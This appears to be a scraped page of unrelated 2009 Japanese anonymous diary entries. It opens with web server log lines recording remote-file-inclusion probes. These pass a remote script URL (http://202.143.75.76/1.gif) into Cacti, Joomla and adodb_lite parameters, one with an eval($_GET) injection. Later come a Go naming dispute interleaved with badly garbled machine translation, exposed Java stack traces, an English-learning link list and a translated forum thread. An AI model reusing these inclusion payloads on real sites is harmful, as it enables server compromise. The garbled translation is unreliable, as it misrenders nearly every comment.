202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2009-11-11

http://translate.google.com/translate?hl=ja&u=http%3A%2F%2Fcode.google.com%2Fp%2Fgo%2Fissues%2Fdetail%3Fid%3D9

fmccabeで、 今日(7時間前)報告

I have been working on a programming language, also called Go, for the last 10 years.私は、プログラミング言語にも、移動と呼ばれ、過去10年間のために働いている。 There haveが存在して

been papers published on this and I have a book.された論文は、この上で公開され、私の本がある。

I would appreciate it if google changed the name of this language; as I do not want to have toもしGoogleがこの言語名前を変更私はそれをお願い申し上げます。私にはしたくない

change my language!私の言語を変更!

Comment 1 by dsymonds , Today (7 hours ago) コメント1 dsymondsで 、 今日(7時間前)

References?参考文献?

Comment 2 by fmccabe , Today (7 hours ago) コメント2 fmccabeで 、 今日(7時間前)

If you google (sic) francis mccabe go you will find some references.場合は()を原文のままGoogleフランシス、いくつかの参照を見つける行くマッケイブ

I published the book on lulu.com私lulu.com上の本を出版

Comment 3 by reidellis , Today (4 hours ago) コメント3 reidellisで 、 今日(4時間前)

I think Mr McCabe's language is called "Go!".私は氏マッケイブ言語"と呼ばれてみろ!"。 Here's the Lulu link:ここでは、ルルのリンクです:

http://www.lulu.com/content/paperback-book/lets-go/641689 http://www.lulu.com/content/paperback-book/lets-go/641689

Comment 4 by niral.n95 , Today (3 hours ago) コメント4 niral.n95で 、 今日(3時間前)

reidellis: is right! reidellis:ですね! its "Lets Go!"その"はLets Go!" or "Go!".や"ゴー!"。 This is google "go", "The Goこれは、"行くに"google、"移動されます

Programming Language" Bigg Difference.. :)プログラミング言語"Biggの違い..:)

Ps Anyone hearing the release of Google "go" would have picked up their book that psの誰""行っても本を手にしてはGoogleリリース公聴会では

never sold and started finding the work "GO" and as they would find their 1st "GO"販売されなかったとの仕事"Go"を見つけることを始め、などに気づくような、その第一の"Go"

they wil go , Eureka!彼らはエウレカ行くウィル! :) :)

Comment 5 by fmccabe , Today (3 hours ago) コメント5 fmccabeで 、 今日(3時間前)

My language is called Go!.自分言語へと呼ばれます!。 The book is called Let's Go!.本の行こうと呼ばれます!。

The issue is not whether or not Google's go will be well known.問題かどうかは、Googleの移動も呼ばれることもありません。 It is one of fairness.これは1つの公平性の一つです。

Comment 6 by zhenshe41 , Today (3 hours ago) コメント6 zhenshe41で 、 今日(3時間前)

In Go!行くで! , can the IDE know the differences between Go!は、IDEへの違いを知ることができます! and go ?行く?

Comment 9 by shirish4you , Today (2 hours ago) コメント9 shirish4youで 、 今日(2時間前)

ah...ああ... Google should change the name... Googleは、名前を変更する必要があります...

Comment 11 by spronkey , Today (2 hours ago) コメント11 spronkeyで 、 今日(2時間前)

Indeed they should.確かにそうあるべきだ。 Full support for you, Mr. McCabe.あなたのためのフルサポートミスターマッケイブ。 It's not that hard to findそれを見つけるために、ハードではない

references to your language online either - it was on the first page of Bing, secondあなたの言語オンラインへの参照のいずれか-それはビンビンの最初のページに2番目だった

of Google for 'go programming language'. Googleの'のために行くのプログラミング言語'。

In fact, the title of the Google go tutorial page is even "Let's Go".実際には、Googleタイトルチュートリアルページに行っても"行こう"です。

It would be pretty poor for you folks Google to keep this name given your "do noそれはかなりあなたのための人々 、Googleはこの名が指定さを維持する貧困層になるお客様の"ありませんか

evil" slogan!悪"のスローガン

Comment 12 by nofakesallowed , Today (2 hours ago) コメント12 nofakesallowed、 今日(2時間前 に )

Google should totally change the name, fmccabe you should find a (cheap) lawyer just Googleの完全に、あなたは(安い)弁護士を見つける必要がありますだけfmccabeの名前を変更する必要があります

in case...場合には...

Google has deep pockets. Googleの深いポケットにしています。

Comment 13 by nofakesallowed , Today (2 hours ago) コメント13 nofakesallowed、 今日(2時間前 に )

btw, what's up redditところで、どうしたのreddit

Comment 14 by alex.salkever , Today (2 hours ago) コメント14 alex.salkeverで 、 今日(2時間前)

fmcabe -- could you contact me at alex @ dailyfinance.com? fmcabe -あなたalex@dailyfinance.comで、私に連絡だろうか? Might want to write a可能性のある記述する

little article about this.このことについて少し記事 Thanks.ありがとう。

Comment 16 by matthew.m.mckenzie , Today (2 hours ago) コメント16 matthew.m.mckenzieで 、 今日(2時間前)

google should change!グーグル変更してください!

Comment 17 by senthil.nayagam , Today (2 hours ago) コメント17 senthil.nayagamで 、 今日(2時間前)

maybe name it Goo or Foo多分グーかはFooという名前を付けます

Comment 18 by mail2ankitgupta , Today (119 minutes ago) コメント18 mail2ankitguptaで 、 今日(119分前)

A company claiming to capture world's info, missed it!!!同社は、世界情報キャプチャすると主張し、それを逃した!

Comment 19 by terence.stuart , Today (117 minutes ago) コメント19 terence.stuartで 、 今日(117分前)

Let the language with the most users keep its name.ほとんどのユーザーは、その名前のままにして言語をしましょう。

Er... Erを... That's not yours, is it?それは、あなたではないって?

Comment 20 by blair.briggs , Today (113 minutes ago) コメント20 blair.briggsで 、 今日(113分前)

Go, find a new name.移動し、新しい名前を探します。 ;) ;)

Comment 21 by josecamporro , Today (111 minutes ago) コメント21 josecamporroで 、 今日(111分前)

I agree with majority on this.私はこの上の部分に同意する。 Google should change the name of this language... Googleはこの言語名前を変更する必要があります...

Francis McCab is right, Go!フランシスMcCabが正しいでGO! and Go are not that different.と移動の違いはありませんです。 And he went first, public.彼は、公共の最初に行った。

Comment 22 by sebastian.krause , Today (104 minutes ago) コメント22 sebastian.krauseで 、 今日(104分前)

Google should consider a different name simply for the reason that "Go" is just a too Googleはその理由は、"移動"されに別の名前を検討する必要がありますだけでも

common word and it might eventually become difficult to google for references and一般的な単語と、最終的に参照するためにGoogleが困難になる可能性があります

examples about this language.この言語についての例です。 A somewhat more unique name can have its benefits.もう少しユニーク名前は、その利点を持つことができます。

Comment 23 by Afro.Systems , Today (95 minutes ago) コメント23 Afro.Systemsで 、 今日(95分前)

I think lango would be a great name and I am hereby to give away to google any私はランゴすばらしい名前だと思うと私は、ここから何かグーグルに与えるために午前

copyrights for the name.名の著作権

Comment 24 by ismetdere , Today (94 minutes ago) コメント24 ismetdereで 、 今日(94分前)

Goo, whould be just fine.グー、されるだけで罰金whould。

Comment 25 by QrczakMK , Today (68 minutes ago) コメント25 QrczakMKで 、 今日(68分前)

Goo is already taken too, although it has been dead for a few years I think.ただし、それが思う数年前に死んだがグー、すでにも、撮影されます。

Comment 26 by zak.wilson , Today (68 minutes ago) コメント26 zak.wilsonで 、 今日(68分前)

Goo is the name of a Lisp dialect.具は、Lisp方言名前です。

Comment 27 by daniel.kolman , Today (67 minutes ago) コメント27 daniel.kolmanで 、 今日(67分前)

Both Google and fmccabe should find a new name, "Go" is silly name for a programming Googleとfmccabe、"Go"をテコな名前プログラミングされている新しい名前を見つける必要があります

language.言語

Comment 28 by br...@silcon.com , Today (67 minutes ago) コメント28 brで... silcon.com @、 今日(67分前)

how about GOOP = Google Object Oriented Programming?方法については無神経な人= Googleオブジェクト指向プログラミング

mccabe- personally, I agree with you, but while you may be first, and you may beマッケイブ、個人的に、私はあなたと、しかし、中に最初にすることに同意し、することがあります

published, your issue title begs not to take you seriously regardless of your actual公開され、あなたの問題のタイトル真剣にかかわらず、お客様の実際の場合を取らないように頼む

stature.身長

I do hope this is resolved in your favor though.私はあなたのおかげでも解決されてほしいですか。

Comment 29 by jwb.public , Today (66 minutes ago) コメント29 jwb.publicで 、 今日(66分前)

how about ogle?方法については色目を使う?

Comment 30 by srikumarks , Today (60 minutes ago) コメント30 srikumarksで 、 今日(60分前)

Given that is derives from Limbo, "Bo" would be short and sweet as well.つまり、辺獄から、"ボー"不足しているだろうと甘いだけでなく派生を考える。 They can alsoこれらのこともできます。

use "boroutines" :P "boroutines":pを使用

Comment 31 by ismetdere , Today (57 minutes ago) コメント31 ismetdereで 、 今日(57分前)

Goo is gone too?具も行ったですか? damn..気.. what about Goat?何ヤギは?

Comment 32 by killercore , Today (52 minutes ago) コメント32 killercoreで 、 今日(52分前)

I'd go for JAgo: Just Another go私JAgoのために行くだろう:ちょうど別のものへ

Comment 33 by jason.lee.quinn , Today (51 minutes ago) コメント33 jason.lee.quinnで 、 今日(51分前)

Goat Special Editionヤギスペシャルエディション

Comment 34 by nikola.tepper , Today (50 minutes ago) コメント34 nikola.tepperで 、 今日(50分前)

It is completely absurd to use name of an already existing language.それは完全に既存の言語名前を使用するのはばかげている。 Hey Google,ちょっとGoogleは、

couldn't you, i don't know... 、私を知らない場合が...。 google it?とGoogleの? Oh right, the name is so generic, that isそう、名ので、つまり、汎用的なもの

almost impossible to get relevant matches.ほとんどの関連性と一致を得ることは不可能。 If this language catches on, it'll be aこの言語キャッチし、それになります

nightmare to search for problems and solutions.問題と解決策を検索する悪夢のような。

Comment 36 by jsykari , Today (40 minutes ago) コメント36 jsykariで 、 今日(40分前)

May I humbly suggest "go2"? 5私は謙虚に""go2いかがでしょう?

Even C++ got away with naming the language after an esoteric feature of C -- perhapsも、C + +の距離Cの難解な機能の後に、言語名前付け規則だ-おそらく

naming a language after "goto" isn't that bad. "の後に、後藤は"悪くはない言語のネーミングになります。

Comment 37 by Linnsey , Today (38 minutes ago) コメント37 Linnseyで 、 今日(38分前)

There are so many hobby and specialist programming languages it'd be hard to find aあるので趣味や専門のプログラミング言語でそれを見つけることは難しいですね、多くの

name that's not taken.名は、撮影ではない。

Comment 39 by david.kitchen , Today (32 minutes ago) コメント39 david.kitchenで 、 今日(32分前)

@33 Disturbing but funny... @ 33不穏がおかしい... I can imagine the logo now: 3OE私は今のロゴ想像することができます:3OE

@34 Look at the dates of these things, it would appear that go started around the @これらのものの日程を34歳で見て、その周りを開始へ表示されます

same time that the book was being written (but Go! already existed).同じ時間には、図書(ただし、移動書かれていた!既に存在していた)。 I wouldn't be私ではない

surprised to learn that due diligence was done at the time but simply that since thenは、デューデリジェンス時間でも行われていた知って驚く人は、単にそれ以来、

it just hadn't been revisited.それだけで再訪されていませんでした。

@36 http://xkcd.com/292/ @ 36 http://xkcd.com/292/

Comment 40 by patla073 , Today (31 minutes ago) コメント40 patla073で 、 今日(31分前)

Why not just name it Golang?理由だけではなく、それGolang名前は?

Erlang - "Ericsson Language"アーラン- "エリクソン言語"

Golang - "Google Language" Golang - "Google言語"

Comment 41 by drc.uvic , Today (31 minutes ago) コメント41 drc.uvic、 今日(31分前 に )

Does anyone use 'Go!'?誰'移動を使用しますか!'? If yours is better, or has a decent user base then a name change might be the right thingもしあなたの優れているか、またはその名前の変更は正しいかもしれませんが、まともなユーザーベースを持って

to do.を行う。 If you're bringing it up for academic pride then I don't see why they should have to change anything.もし私はなぜ何も変更する必要がありますが表示されない学問の誇りをのために育てている。

Comment 42 by abouthors , Today (29 minutes ago) コメント42 abouthorsで 、 今日(29分前)

Jago is already taken by a program to play the game of go. Jago既に行くのゲームプレイするためのプログラムによって行われる。

Comment 44 by charles.majola , Today (18 minutes ago) コメント44 charles.majolaで 、 今日(18分前)

This is issue 9 ......この問題は9 ...... Plan 9..... Plan 9の.....

Coincidence?偶然?

Comment 45 by tuxthelinuxdood , Today (14 minutes ago) コメント45 tuxthelinuxdoodで 、 今日(14分前)

It is obvious that Google employees did not research the name in terms of existingこれは、Google従業員の面では、名前研究していない明らかにされ、既存の

languages before release.リリース前の言語。 In such a situation I believe Google is at fault and the nameこのような状況では私はGoogle断層の名前ではと考えています

should be changed.変更する必要があります。 I doubt it will happen but it to change it would be in line with "do私はそれが起こるとは思えませんが、それを行となる"を変更するか

no evil".邪悪な"。

Comment 46 by GeoffreyJ.Lee , Today (14 minutes ago) コメント46 GeoffreyJ.Leeで 、 今日(14分前)

How about "Google Go"?方法については"Googleの移動"?

Go2 is pretty clever though, so my vote is on that. Go2かなりかかわらず、僕の投票をするには利口だ。

Comment 47 by roblesjm , Today (9 minutes ago) コメント47 roblesjmで 、 今日(9分前)

Google always releases new products with the prefix "Google". Googleでは常に接頭辞"Googleとの"新製品リリースします。 In this case, I don'tこの場合、私はしないでください

know if Google want release a new product or make an Alliance like Android.知っている場合、Googleは新製品リリースしたい、またはするアライアンスAndroidのような。

In the first case, I would use "GoogleC".最初のケースで、私は"を使用します。GoogleC"。 For the second, something like "GCP" fromについては、2番目の、何か"GCPの"からのような

(Google C Python). (GoogleのĈパイソン)。

Comment 48 by ismetdere , Today (4 minutes ago) コメント48 ismetdereで 、 今日(4分前)

Goat it is...ヤギって... there, settled.そこに定住した。

Comment 49 by Peter.Schweizer , Today (4 minutes ago) コメント49 Peter.Schweizerで 、 今日(4分前)

i'd suggest "giggity giggity goo" as new name since quagmire is a very funny guy私は""新しい名前として泥沼非常に面白いやつなんだからgiggity giggityグーをお勧めしたい

btw.ところで。 hi reddit :)ハイテクしかし:)

Comment 50 by ruivaldo , Today (4 minutes ago) コメント50 ruivaldoで 、 今日(4分前)

"Do" ? ""ですか? Makes sense, check the purpose of the lang.理にかなっては、langの目的をご確認ください。

2009-09-28

common sense


個には、それぞれの生活があって、それぞれの社会がある。そういった個が集まり、社会が集まり、世界となる。換言すれば、そのような世界があるからこそ、生活の基盤が形成され、属する社会必然的に決まるのかもしれない。

個と個が互いに相手の社会を侵し合い、生活が作られるのだと思う。または、侵し合う事自体が、生活の一部になっている。なり得る。

生活は性格で決まる。侵される程度を極端なまでに最小限にしようと試みる者も居れば、出来る限り大多数の個と侵し合うことで何かを得ようとする者も居る。丁度良さは、性格で決まる。生活が決まる。

前者の言い分はこうだ。ただでさえ侵し合いの世の中。必要な場面以外では、単純に、個で在りたいという願い。または、侵す事自体の罪悪感。現実逃避

後者の言い分はこうだ。ただでさえ個は個である。単純に、何かを得たい。補いたい。または、寂しさの紛わし。孤独である事の違和感自己中心。

理解し合えない。だが、今日も、明日も、あさっても、生活は行なわれる。社会は機能する。世界は回る。折り合いをつけて。当たり前のように。当たり前の事だから。

2009-08-12

http://anond.hatelabo.jp/20090812214941

グールド自身による(自己の言説の歪曲された利用への)反論(訳は大意)

[T]ransitions are often found in the fossil record. Preserved transitions are not common -- and should not be, according to our understanding of evolution (see next section) but they are not entirely wanting, as creationists often claim. [He then discusses two examples: therapsid intermediaries between reptiles and mammals, and the half-dozen human species - found as of 1981 - that appear in an unbroken temporal sequence of progressively more modern features.]

移行形態化石記録はしばしば発見されています。保存された移行形態は一般的ではありませんが、そしてそれは私たちの断続平行説が正しいのであればそうあるべきですが、まったく欠如している、そう創造論者は主張していますが、そういうわけではありません。

Faced with these facts of evolution and the philosophical bankruptcy of their own position, creationists rely upon distortion and innuendo to buttress their rhetorical claim. If I sound sharp or bitter, indeed I am -- for I have become a major target of these practices.

こういった進化事実と彼ら自身の哲学的立場の破綻に直面して、創造論者は彼らの修辞的な主張を強化するために、歪曲と暗示に頼っています。もし私が辛辣に見えるのならば、実際その通りなのですが、それは私が彼らの実践の主要なターゲットとなっているからです。

I count myself among the evolutionists who argue for a jerky, or episodic, rather than a smoothly gradual, pace of change. In 1972 my colleague Niles Eldredge and I developed the theory of punctuated equilibrium. We argued that two outstanding facts of the fossil record -- geologically "sudden" origin of new species and failure to change thereafter (stasis) -- reflect the predictions of evolutionary theory, not the imperfections of the fossil record. In most theories, small isolated populations are the source of new species, and the process of speciation takes thousands or tens of thousands of years. This amount of time, so long when measured against our lives, is a geological microsecond . . .

私は自分を徐々に漸進的に変化が起きるというよりも、気まぐれで断続的に起きると考える進化論者のひとりであると考えています。

Since we proposed punctuated equilibria to explain trends, it is infuriating to be quoted again and again by creationists -- whether through design or stupidity, I do not know -- as admitting that the fossil record includes no transitional forms. Transitional forms are generally lacking at the species level, but they are abundant between larger groups.

(変化に)波があることを説明するために私たちが断続的平衡を主張して以来、何度も何度も創造論者によってデザインやなにやらを通じて、私が化石記録は移行形態を含まないと認めていると引用されたのは、はらわたの煮えくりかえる思いです。移行形態は一般的に種の水準では欠如していますが、それより大きいグループの間では豊富に存在するのです。

http://www.talkorigins.org/faqs/quotes/mine/part3.html

2009-07-08

今話題のポケゲーと昔、話題になったマージュとの関係

UserAgentなしでアクセスすると。。

http://marj.jp/

HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented
it from fulfilling this request.

exception

javax.servlet.ServletException
       at org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:545)
       at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:486)
       at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:274)
       at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1482)
       at com.hmsystems.common.struts.extension.HmsActionServlet.process(HmsActionServlet.java:28)
...

http://pkga.jp/

HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented
it from fulfilling this request.

exception

java.lang.NullPointerException
       at com.hmsystems.sns.presentation.struts.RequestProcessor.processForwardConfig(RequestProcessor.java:91)
       at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:279)
       at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1482)
       at com.hmsystems.common.struts.extension.HmsActionServlet.process(HmsActionServlet.java:28)
       at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:507)
       at javax.servlet.http.HttpServlet.service(HttpServlet.java:696)
       at javax.servlet.http.HttpServlet.service(HttpServlet.java:809)

両方ともHM SYSTEMSさんが作っていたんですね。

http://www.hmsystems.com/

http://www.youtube.com/watch?v=k6_1P2EKKYo&amp;feature=PlayList&amp;p=56E3E51E650A4CE7&amp;index=0

2009-05-19

[] <英語English 2

[Methods] 学習方法 How to study English

  1. 継続が難しい英語学習が続いて仕方ないツールまとめ | bizpow(ビズポ)
  2. リンク集】通学不要?! 無料サイト英語を学ぼう -INTERNET Watch
  3. ネット英語力向上!無料で他言語勉強できる学習サイトまとめ | 株式会社LIG
  4. リンク集無料でココまで学べます! 英語学習サイト -INTERNET Watch
  5. 実用的な英語習得する方法 : 目次  « The Wisdom of CrowdsJP
  6. 英語学習情報の特徴メモ - かちびと.net
  7. 訳すな、頭から読め - 鰤端末鉄野菜 Brittys Wake
  8. Podcast英語リスニング勉強をしてる奴ちょっと来てください:アルファルファモザイク
  9. 英語コンプ馬鹿でも投資ゼロTOEIC900に達するたったひとつ方法
  10. 英語学習に役立つ、映画脚本スクリーンプレイ)を無料で手に入れられるサイトの紹介 | 口コミ発信!モノ人
  11. 英語学習に役立ちそうなTwitterアカウントまとめ - はてな読み
  12. podcastの飽きない英語コンテンツ、2ヵ月後
  13. 英語 - NAVERまとめ
  14. おすすめ英語学習サイト英会話】 - NAVER まとめ
  15. ネット勉強できる英語サイト まとめ - NAVER まとめ
  16. 無料で使える英語学習サイト12選 - NAVER まとめ
  17. 英語勉強を始める人は必ず見ておきたい英語学習サイトツール | うましかニュース
  18. 英語】アソシエの『やり直し「英語勉強法』が濃厚だった件:マインドマップ読書感想文
  19. Youtubeで学べる英語のレッスン:厳選7チャンネル | THE NEW CLASSIC
  20. Verbling: Online language classes and private tutoring

[Media] ニュースサイト他まとめ

  1. Voxalead News
  2. TODAYshow.com
  3. CBS Evening News with Katie Couric - Latest News &amp; Videos - CBS News
  4. The Big Idea Video - CNBC.com
  5. Big Ideas - Exploring the Essential Questions of Education

[Vocablary] 語彙/単語

  1. フリー英単語リストをまとめてみた 読書猿Classic: between / beyond readers
  2. 語彙力をチェックできる無料のお役立ちサイトまとめ | みんなの英語ひろば

[Grammer] 文法

  1. 基礎から英語学習の目次-英語喫茶英語英文法英会話
  2. 社会人のためのやり直し英語講座 英文法.COM» 第1講の講義全部紹介!(講義編)
  3. Get you !! English !!〜わかりやす英文法書籍化
  4. 日本人英文法の意外な穴
  5. Liberty 英語表現/英熟語,用語,手紙,ことわざ,略語,メルマガ,句動詞
  6. Advanced English lessons
[Preposition] 前置詞
前置詞は全部でおよそ150種類ある、と。
  1. List of English prepositions - Wikipedia, the free encyclopedia
基本的な使用例と練習問題
  1. English Prepositions
  2. English Prepositions and Verbs
  3. Prepositions of time - english-at-home.com
  4. Prepositions and adjectives - english-at-home.com
  5. A BRIEF EXPLANATION OF PREPOSITIONS
イメージでつかむ
  1. YouTube - Lesson 3c - Prepositions - English Grammar
  2. YouTube - ネット予備校6 英語 イメージでとらえる前置詞
とにかく練習
  1. ENGLISH PAGE - Prepositions and Phrasal Verbs
  2. Prepositions
  3. English Study Quiz - Prepositions
  4. 前置詞の問題集 イメージ攻略しよう!
おまけ
  1. 【前置詞3分クリニック】be tired from/of復習 + 接続詞副詞のthough [まぐまぐ!]
  2. 接置詞 - Wikipedia
  3. Prepositions Worksheets
[Conjunctions] 英語接続詞を知って、文章の作り方、考え方を理解する。語学学習関連

等位 Coordinating Conjunctions

相関 Correlative Conjunctions

従属 Subordinating Conjunctions

  1. Grammatical conjunction - Wikipedia, the free encyclopedia
  2. Linda Bryson's List of English Conjunctions
  3. Conjunctions
  4. Conjunction Junction
  5. List of Conjunctions
  6. CONJUNCTIONS
  7. YouTube - English Grammar: Diagramming Sentences in 6 Steps
[Linking Verbs]連結動詞

Subject = Objectだと伝える動詞

  1. Linking Verbs

[Phrases] 定型文書、よく使われるフレーズテンプレート Useful phrases, letter template

expressing sympathy

お悔やみの言葉

  1. What do you say when you want to express sympathy? - What Helps. What Hurts. What Heals. - CarePages
  2. Sympathy Quotes, Sayings, Mourning, Bereavement, Loss, Death of Loved One
  3. How to say "I'm sorry" without actually saying it | Ask Metafilter
  4. VOA News - Finding the Right Expression of Sympathy When Someone Is Grieving
  5. sorry for your lost expressing sympathy

褒め言葉

  1. ほめことば99 改訂版
  2. 英語で100のほめ言葉
  3. 英語褒め言葉集 - ◆ラテン旦那大和撫子妻◆ - 楽天ブログBlog
  4. 英語での褒め言葉(単語)が沢山載っているページを教えてください。人力検索はてな

電話フレーズ

  1. How to Finish a Phone Conversation Without Being Rude - wikiHow
  2. An Actual Phone Conversation. | KnowProSE.com

会話一般

  1. Everyday English in Conversation
  2. Business Communications

[Unedited] 未編集備忘録 Transient stock/ Memorandum

  1. 英語勉強を始める人は必ず目を通しておきたい英語学習サイト&amp;ツールインターネットIT | RapidHack(ラピッドハック)
  2. Is "Word Power Made Easy" by Norman Lewis available online (an interactive version and/or ebook)? - Yahoo! Answers
  3. 英単ワールド
  4. bab.la:それはあなた言語習得入門
  5. SparkNotes: Today's Most Popular Study Guides
  6. 英語学習に適したKhan Academyの教育ビデオ(とその翻訳ブログ) - YAMDAS更新履歴
  7. Khan Academy
  8. Teaching English | British Council | BBC
  9. Morgan Online - Abbreviations (AJAR) "Acronyms, Jargon, Abbreviations, and Rubbish (AJAR)"
  10. English 2126: Modern English Grammar: Teaching Usage: A Discussion
  11. Common Mistakes in English - Quizzes
  12. Learning Resources
  13. ESL Lesson Plans to Download
  14. FML: Your everyday life stories
  15. 意外と通じる!?通じない!?平均日本人英語
  16. ディスカッション - sci.lang.japan | Google グループ
  17. 英語発音入門
  18. YouTube - Learn Business English ESL Vocabulary - Marketing Vocabulary
  19. ESL Gold
  20. Randall's ESL Cyber Listening Lab - For ESL/EFL Students
  21. Multiple Language Guides - how to articles from wikiHow
  22. Difference between "Here you are " and "There you are"
  23. Teachers of English to Speakers of Other Languages, Inc. (TESOL)
  24. Classic British and American Essays and Speeches - Great Essays and Speeches by British and American Writers
  25. English Irregular Verbs
  26. My First Dictionary
  27. Read.gov: Online books and resources for literacy &amp; reading for everyone
  28. 英語好き集まれ
  29. smart.fm - it's where you learn - smart.fm
  30. 英語TOEIC英検学習法、無料教材(英単語英文法)の提供サイト
  31. Japan-in-Motion: Japanese Movies for Culture/Food/Sightseeing
  32. History and Politics Out Loud: a searchable archive of politically significant audio materials
  33. National Archives and Records Administration
  34. Learn native pronunciation for every language in the world. Forvo, the pronunciation guide
数字の読み方 数字にまつわること
  • 数字数学に関する読み方に迷ったらひとまずここで
  1. WebMath - Solve Your Math Problem
  2. English numerals - Wikipedia, the free encyclopedia
  3. Smories - new stories for children, read by children
  4. Beyond Books Program: Reading between the Lines
[日本を紹介する]
  1. 日本文化英語で紹介しよう!】JAPANESE CULTURE CENTER
  2. 日本文化キーワード事典
  3. 外国人のための日本生活国際交流日本語学サイトひらがなタイムズ
  4. 英語日本を紹介
  5. English news and easy articles for students of English

語学学習サイト個人的リンクメモ / Lists of Language Learning Links)

http://anond.hatelabo.jp/20090101193230

http://anond.hatelabo.jp/20090218024319

2009-03-04

外資系企業に勤めてたけど今日クビになった - 英訳3

http://mudainodqnment.blog35.fc2.com/blog-entry-734.html

の1さんに痛く感動したので、ちょっとずつ英語に訳すことにした。

めんどくさいので訳すのは1さんだけ。

突っ込み等はお気軽に。

ttp://anond.hatelabo.jp/20090302234304

----

176 :以下、名無しにかわりましてVIPがお送りします[sage]:2009/02/18(水) 02:54:32.12 ID:olySmeY7O

判断おそ。外資海外オフィスならオフィスごとパーツであたりまえ。

戦略たててるのは貴方のようなパーツではないのよ。だからクビになった

>>176

そうねー、そうだと思う。でもしょうがなかったかな

就職した当時は他にどこも行くとこ無くて、就職したらずっと忙しかったし

アソシエイトになった頃くらいから「ありゃ、やばいんじゃね?」って思ってたけど、 景気も給料も良かったから「ま、いっか」って思ってた

次はどういう仕事するのかな。ちょっと楽しみ

Yeah, I guess so. But I think there was nothing I can do.

When I got a job, there was no other choice. And I was been busy since I joined the company. When I became an associate, I've been thinking 'oops, that's not good'. but the economy and the salary was good. So I thought 'it's ok, though'.

What is my next job? I'm enjoying a little bit.

161 :以下、名無しにかわりましてVIPがお送りします[sage]: 2009/02/18(水) 02:24:57.11 ID:olySmeY7O

加えてインフレ時の行動の説明も、証券会社目線でしかない。単調すぎる

>>161

勉強不足で申し訳ない↓

I apologize I didn't study hard enough.

154 :以下、名無しにかわりましてVIPがお送りします[]:2009/02/18(水) 02:18:07.31 ID:IkGPTGhh0

外資系証券会社っていうか、米国証券会社害悪だよね

90年代英国欧州各国も結局同じ体系にせざるを得なくなったという…。

地に足ついてないし、信用ならねぇと思ってる。

人と癌細胞関係みたいで面白いと思った。

>>154

そうだね。でも個人的には、欧州各行から流入した負の性質もあると思ってる。

ユニバーサルバンキング(笑)とか、ワンストップ(笑)とかね

このへんは大分マニアックな話になっちゃうけども

You are right. But in my opinion, there are negative characteristics which are from europian banks. For example, universal banks:) or one stop:)

But this is going to be so detailed.

47 :以下、名無しにかわりましてVIPがお送りします[]:2009/02/17(火) 22:57:18.86 ID:5cDlWeJZO

いいじゃねぇか

俺さっき大臣クビになったノンケのお父さん見たぜ

>>47

彼はアル中で有名だったからなあ

財務省の友達は結構グチをこぼしていた

he was notorious for alcoholic.

A friend of Treasury complained about him.

49 :梅が枝餅 ◆CmkUk6.1BM []:2009/02/17(火) 23:01:53.44 ID:DrRvRxjv0

ここまでガチなら>>1はいい女認定

>>49

ニートでも自分を評価してくれる人はいるんだな。こんなに幸せなことは無い

There seems to be a person who value me even though I'm a neet. I can't be happier.

50 :以下、名無しにかわりましてVIPがお送りします[]: 2009/02/17(火) 23:05:53.12 ID:6KkdBV6i0

>>1

資格はどんなんだ?

>>50

証券外務員1種と証券アナリスト米国公認会計士(uncertificate)

弁護士とか会計士持ってる人もいるが、少なめ。仕事が超出来る人は意外と資格持ってない。

I have securities broker representaive license first grade, securities analyst, certified public accountant(uncertificate).

some people has attorney or accountant license, but it's not much. Those who can do a excellent job don't have license unexpectedly.

52 :以下、名無しにかわりましてVIPがお送りします[]: 2009/02/17(火) 23:13:26.74 ID:Wm1ZWPrp0

で、あなたは結局自己主張がしたい構ってちゃんなんですね。

いいんですよね?

>>52

それに加えて、仕事ばっかで友達とあんま遊んでなかったのでぼっち寂しがりやです。

大した中身も無いのにレスしてくれる人がいてとても嬉しい

Along with that, I feel lonely easily because I did nothing but a job and didn't hang around with friends so mcuh.

I'm so glad there are people who reply to the empty writings.

55 :以下、名無しにかわりましてVIPがお送りします[]:2009/02/17(火) 23:18:36.38 ID:Df8TgocCO

なんだこのエリート…?

地方Bラン大理系に進学決まった俺には無縁の世界

>>55

なんかみんなにエリートと言われるが、日本だと本当のエリート外資系証券には来てない気がする

金で頭脳を集められるアメリカだからこそ成り立った産業でした

Everybody say I'm elite. But I assume the real elites don't came to the foreign securities.

The industry works because in America, smart people are seeking money.

56 :以下、名無しにかわりましてVIPがお送りします[]: 2009/02/17(火) 23:20:38.52 ID:Zzlsf+8S0

高学歴処女ならガチで一生大切にする

>>56

